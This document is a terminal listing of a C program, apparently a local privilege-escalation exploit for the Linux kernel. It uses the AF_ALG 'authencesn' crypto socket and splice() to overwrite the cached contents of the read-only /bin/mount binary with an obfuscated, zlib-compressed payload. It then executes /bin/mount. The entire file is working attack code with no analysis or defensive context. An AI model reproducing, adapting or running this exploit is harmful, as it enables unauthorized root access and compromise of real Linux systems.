6135377 [rkeene@sledge /home/rkeene/tmp]$ cat -n copy_fail_exp.c
  1 #define _GNU_SOURCE
  2 
  3 #include <sys/types.h>
  4 #include <sys/socket.h>
  5 #include <linux/if_alg.h>
  6 #include <unistd.h>
  7 #include <stdlib.h>
  8 #include <string.h>
  9 #include <stdint.h>
 10 #include <stdio.h>
 11 #include <fcntl.h>
 12 #include <zlib.h>
 13 
 14 static unsigned char *d(const char *hex, size_t *out_len) {
 15     size_t len = strlen(hex);
 16     unsigned char *out = malloc(len / 2);
 17 
 18     for (size_t i = 0; i < len / 2; i++) {
 19         sscanf(hex + (i * 2), "%2hhx", &out[i]);
 20     }
 21 
 22     if (out_len) {
 23         *out_len = len / 2;
 24     }
 25 
 26     return out;
 27 }
 28 
 29 static int c(int f, size_t t, const unsigned char *c_buf, size_t c_len) {
 30     int a = socket(AF_ALG, SOCK_SEQPACKET, 0);
 31     if (a < 0) {
 32       printf("socket failed\n");
 33       return -1;
 34     }
 35 
 36     struct sockaddr_alg sa = {
 37         .salg_family = AF_ALG,
 38         .salg_type = "aead",
 39         .salg_name = "authencesn(hmac(sha256),cbc(aes))",
 40     };
 41 
 42     if (bind(a, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
 43         close(a);
 44         printf("bind failed\n");
 45         return -1;
 46     }
 47 
 48     int h = 279;
 49 
 50     int (*v)(int, int, int, const void *, socklen_t) = setsockopt;
 51 
 52     size_t opt1_len;
 53     unsigned char *opt1 = d("0800010000000010"
 54                            "00000000000000000000000000000000"
 55                            "00000000000000000000000000000000",
 56                            &opt1_len);
 57 
 58     if (v(a, h, 1, opt1, opt1_len) < 0) {
 59         free(opt1);
 60         close(a);
 61         printf("setsockopt/1 failed\n");
 62         return -1;
 63     }
 64     free(opt1);
 65 
 66     uint32_t zero = 0;
 67     if (v(a, h, 5, &zero, sizeof(zero)) < 0) {
 68         close(a);
 69         printf("setsockopt/2 failed\n");
 70         return -1;
 71     }
 72 
 73     int u = accept(a, NULL, NULL);
 74     if (u < 0) {
 75         close(a);
 76         printf("accept failed\n");
 77         return -1;
 78     }
 79 
 80     size_t o = t + 4;
 81 
 82     size_t i_len;
 83     unsigned char *i = d("00", &i_len);
 84 
 85     unsigned char aad[4] = { 'A', 'A', 'A', 'A' };
 86 
 87     unsigned char *payload = malloc(4 + c_len);
 88     memcpy(payload, "AAAA", 4);
 89     memcpy(payload + 4, c_buf, c_len);
 90     
 91     struct iovec iov[1] = {
 92         { .iov_base = payload, .iov_len = 4 + c_len },
 93     };
 94 
 95     unsigned char op[4] = { 0, 0, 0, 0 };
 96 
 97     unsigned char iv[20] = {
 98         0x10, 0x00, 0x00, 0x00,   /* ivlen = 16 */
 99         0x00, 0x00, 0x00, 0x00,
100         0x00, 0x00, 0x00, 0x00,
101         0x00, 0x00, 0x00, 0x00,
102         0x00, 0x00, 0x00, 0x00
103     };
104 
105     unsigned char assoclen[4] = { 0x08, 0x00, 0x00, 0x00 };
106 
107     char control[
108         CMSG_SPACE(sizeof(op)) +
109         CMSG_SPACE(sizeof(iv)) +
110         CMSG_SPACE(sizeof(assoclen))
111     ];
112 
113     memset(control, 0, sizeof(control));
114 
115     struct msghdr msg = {
116         .msg_iov = iov,
117         .msg_iovlen = 1,
118         .msg_control = control,
119         .msg_controllen = sizeof(control),
120     };
121 
122     struct cmsghdr *cm;
123 
124     cm = CMSG_FIRSTHDR(&msg);
125     cm->cmsg_level = h;
126     cm->cmsg_type = 3;
127     cm->cmsg_len = CMSG_LEN(sizeof(op));
128     memcpy(CMSG_DATA(cm), op, sizeof(op));
129 
130     cm = CMSG_NXTHDR(&msg, cm);
131     cm->cmsg_level = h;
132     cm->cmsg_type = 2;
133     cm->cmsg_len = CMSG_LEN(sizeof(iv));
134     memcpy(CMSG_DATA(cm), iv, sizeof(iv));
135 
136     cm = CMSG_NXTHDR(&msg, cm);
137     cm->cmsg_level = h;
138     cm->cmsg_type = 4;
139     cm->cmsg_len = CMSG_LEN(sizeof(assoclen));
140     memcpy(CMSG_DATA(cm), assoclen, sizeof(assoclen));
141 
142     if (sendmsg(u, &msg, MSG_MORE) < 0) {
143         free(i);
144         close(u);
145         close(a);
146         printf("sendmsg failed\n");
147         return -1;
148     } 
149 
150     int pipefd[2];
151 
152     if (pipe(pipefd) < 0) {
153         free(i);
154         close(u);
155         close(a);
156         printf("pipe failed\n");
157         return -1;
158     }
159 
160     int r = pipefd[0];
161     int w = pipefd[1];
162 
163     loff_t off = 0;
164     if (splice(f, &off, w, NULL, o, 0) < 0) {
165         close(r);
166         close(w);
167         free(i);
168         close(u);
169         close(a);
170         printf("splice/1 failed\n");
171         return -1;
172     }
173 
174     if (splice(r, NULL, u, NULL, o, 0) < 0) {
175         perror("splice");
176         close(r);
177         close(w);
178         free(i);
179         close(u);
180         close(a);
181         printf("splice/2 failed\n");
182         return -1;
183     }
184 
185     return(0);
186 }
187 
188 int main(int argc, char **argv) {
189     int f = open("/bin/mount", O_RDONLY);
190     if (f < 0) {
191         return -1;
192     }
193 
194     int i = 0;
195 
196     size_t compressed_len;
197     unsigned char *compressed =
	d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b
	7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3", &compressed_len);
198 
199     unsigned long e_len = 200;
200     unsigned char *e = malloc(e_len);
201 
202     if (uncompress(e, &e_len, compressed, compressed_len) != Z_OK) {
203         free(compressed);
204         free(e);
205         close(f);
206         printf("uncompress failed\n");
207         return -1;
208     }
209 
210     free(compressed);
211 
212     while ((size_t)i < e_len) {
213         size_t chunk_len = e_len - (size_t)i;
214 
215         if (chunk_len > 4) {
216             chunk_len = 4;
217         }
218 
219         if (c(f, (size_t)i, e + i, chunk_len) < 0) {
220             free(e);
221             close(f);
222             printf("c failed\n");
223             return -1;
224         }
225 
226         i += 4;
227     }
228 
229    system("/bin/mount");
230 
231    return(0);
232 }
6135378 [rkeene@sledge /home/rkeene/tmp]$

Click here to go back to the directory listing.
Click here to download this file.
last modified: 2026-04-29 21:27:28